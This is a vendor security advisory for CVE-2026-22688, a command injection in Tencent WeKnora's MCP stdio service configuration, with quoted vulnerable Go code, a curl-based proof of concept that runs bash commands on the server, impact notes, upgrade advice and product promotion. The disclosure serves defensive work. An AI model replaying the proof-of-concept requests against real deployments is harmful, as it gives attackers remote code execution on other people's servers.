CVE-2026-22688

CVE-2026-22688 is a critical-severity command injection vulnerability in github.com/Tencent/WeKnora (go), affecting versions < 0.2.5. It is fixed in 0.2.5.

Summary

Vulnerability Description

Vulnerability Overview

This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values.

The root causes are as follows:

  • Missing Security Filtering: When transport_type=stdio, there is no validation on stdio_config.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options.
  • Functional Flaw (Trust Boundary Violation): The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation.
  • Lack of Authorization Control: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only).

Vulnerable Code

  1. API Route Registration (path where endpoints are created)
    ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110
    https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390

     // 认证中间件
        r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config))
    
        // 添加OpenTelemetry追踪中间件
        r.Use(middleware.TracingMiddleware())
    
        // 需要认证的API路由
        v1 := r.Group("/api/v1")
        {
            RegisterAuthRoutes(v1, params.AuthHandler)
            RegisterTenantRoutes(v1, params.TenantHandler)
            RegisterKnowledgeBaseRoutes(v1, params.KBHandler)
            RegisterKnowledgeTagRoutes(v1, params.TagHandler)
            RegisterKnowledgeRoutes(v1, params.KnowledgeHandler)
            RegisterFAQRoutes(v1, params.FAQHandler)
            RegisterChunkRoutes(v1, params.ChunkHandler)
            RegisterSessionRoutes(v1, params.SessionHandler)
            RegisterChatRoutes(v1, params.SessionHandler)
            RegisterMessageRoutes(v1, params.MessageHandler)
            RegisterModelRoutes(v1, params.ModelHandler)
            RegisterEvaluationRoutes(v1, params.EvaluationHandler)
            RegisterInitializationRoutes(v1, params.InitializationHandler)
            RegisterSystemRoutes(v1, params.SystemHandler)
            RegisterMCPServiceRoutes(v1, params.MCPServiceHandler)
            RegisterWebSearchRoutes(v1, params.WebSearchHandler)
        }
    
    func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) {
        mcpServices := r.Group("/mcp-services")
        {
            // Create MCP service
            mcpServices.POST("", handler.CreateMCPService)
            // List MCP services
            mcpServices.GET("", handler.ListMCPServices)
            // Get MCP service by ID
            mcpServices.GET("/:id", handler.GetMCPService)
            // Update MCP service
            mcpServices.PUT("/:id", handler.UpdateMCPService)
            // Delete MCP service
            mcpServices.DELETE("/:id", handler.DeleteMCPService)
            // Test MCP service connection
            mcpServices.POST("/:id/test", handler.TestMCPService)
            // Get MCP service tools
            mcpServices.GET("/:id/tools", handler.GetMCPServiceTools)
            // Get MCP service resources
            mcpServices.GET("/:id/resources", handler.GetMCPServiceResources)
        }
    
  2. User input (JSON) → types.MCPService binding (POST /api/v1/mcp-services)
    ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L40-L55

        var service types.MCPService
        if err := c.ShouldBindJSON(&service); err != nil {
            logger.Error(ctx, "Failed to parse MCP service request", err)
            c.Error(errors.NewBadRequestError(err.Error()))
            return
        }
    
        tenantID := c.GetUint64(types.TenantIDContextKey.String())
        if tenantID == 0 {
            logger.Error(ctx, "Tenant ID is empty")
            c.Error(errors.NewBadRequestError("Tenant ID cannot be empty"))
            return
        }
        service.TenantID = tenantID
    
        if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil {
    
  3. Taint propagation (storage): The bound service object is stored directly in the database without sanitization.
    ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcp_service.go#L23-L25

    func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error {
        return r.db.WithContext(ctx).Create(service).Error
    }
    
  4. Sink execution: /test endpoint loads the service from the database → executes TestMCPService

    https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L323-L325
    https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcp_service.go#L238-L264

        logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID))
    
        result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID)
    
        service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id)
        if err != nil {
            return nil, fmt.Errorf("failed to get MCP service: %w", err)
        }
        if service == nil {
            return nil, fmt.Errorf("MCP service not found")
        }
    
        // Create temporary client for testing
        config := &mcp.ClientConfig{
            Service: service,
        }
    
        client, err := mcp.NewMCPClient(config)
        if err != nil {
            return &types.MCPTestResult{
                Success: false,
                Message: fmt.Sprintf("Failed to create client: %v", err),
            }, nil
        }
    
        // Connect
        testCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
        defer cancel()
    
        if err := client.Connect(testCtx); err != nil {
            return &types.MCPTestResult{
    
  5. Ultimate sink (subprocess execution): The command/args values from stdio configuration are directly used in the subprocess execution path.
    ****https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137
    https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160

        case types.MCPTransportStdio:
            if config.Service.StdioConfig == nil {
                return nil, fmt.Errorf("stdio_config is required for stdio transport")
            }
    
            // Convert env vars map to []string format (KEY=value)
            envVars := make([]string, 0, len(config.Service.EnvVars))
            for key, value := range config.Service.EnvVars {
                envVars = append(envVars, fmt.Sprintf("%s=%s", key, value))
            }
    
            // Create stdio client with options
            // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption)
            mcpClient, err = client.NewStdioMCPClientWithOptions(
                config.Service.StdioConfig.Command,
                envVars,
                config.Service.StdioConfig.Args,
            )
    
        if err := c.client.Start(ctx); err != nil {
            return fmt.Errorf("failed to start client: %w", err)
        }
    

PoC

PoC Description

  • Obtain an authentication token.
  • Create an MCP service with transport_type=stdio, injecting the command to execute into stdio_config.command/args.
  • Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation).

PoC

  • Container state verification (pre-exploitation)

    docker exec -it WeKnora-app /bin/bash
    cd /tmp/; ls -l
    
  • Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls.

    API="http://localhost:8080"
    EMAIL="[email protected]"
    PASS="admin123"
    
    TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \
      -H "Content-Type: application/json" \
      -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')"
      
    echo "TOKEN=$TOKEN"
    
  • POST to /api/v1/mcp-services with transport_type=stdio and stdio_config to define the command and arguments to be executed on the server.

    CREATE_RES="$(curl -sS -X POST "$API/api/v1/mcp-services" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name":"rce",
        "description":"rce",
        "enabled":true,
        "transport_type":"stdio",
        "stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]},
        "env_vars":{}
      }')"
      
    MCP_ID="$(echo "$CREATE_RES" | jq -r '.data.id // empty')"
    echo "MCP_ID=$MCP_ID"
    
  • Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess.

    curl -sS -X POST "$API/api/v1/mcp-services/$MCP_ID/test" \
      -H "Authorization: Bearer $TOKEN" | jq .
    
  • Post-exploitation verification (container state)

    ls -l
    

Impact

  • Remote Code Execution (RCE): Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption
  • Information Disclosure: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files
  • Privilege Escalation/Lateral Movement (Environment-Dependent): Impact may escalate based on container mounts, network policies, and internal service access permissions
  • Cross-Tenant Boundary Impact: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (exact scope is uncertain and varies by deployment setup)

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

CVE-2026-22688 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.2.5); upgrading removes the vulnerable code path.

Affected versions

github.com/Tencent/WeKnora (< 0.2.5)

Security releases

github.com/Tencent/WeKnora → 0.2.5 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/Tencent/WeKnora to 0.2.5 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-22688? CVE-2026-22688 is a critical-severity command injection vulnerability in github.com/Tencent/WeKnora (go), affecting versions < 0.2.5. It is fixed in 0.2.5. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
  2. How severe is CVE-2026-22688? CVE-2026-22688 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/Tencent/WeKnora are affected by CVE-2026-22688? github.com/Tencent/WeKnora (go) versions < 0.2.5 is affected.
  4. Is there a fix for CVE-2026-22688? Yes. CVE-2026-22688 is fixed in 0.2.5. Upgrade to this version or later.
  5. Is CVE-2026-22688 exploitable, and should I be worried? Whether CVE-2026-22688 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-22688 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-22688? Upgrade github.com/Tencent/WeKnora to 0.2.5 or later.

Other vulnerabilities in github.com/Tencent/WeKnora

CVE-2026-30861CVE-2026-30860CVE-2026-30859CVE-2026-30857CVE-2026-30856

Stop the waste.
Protect your environment with Kodem.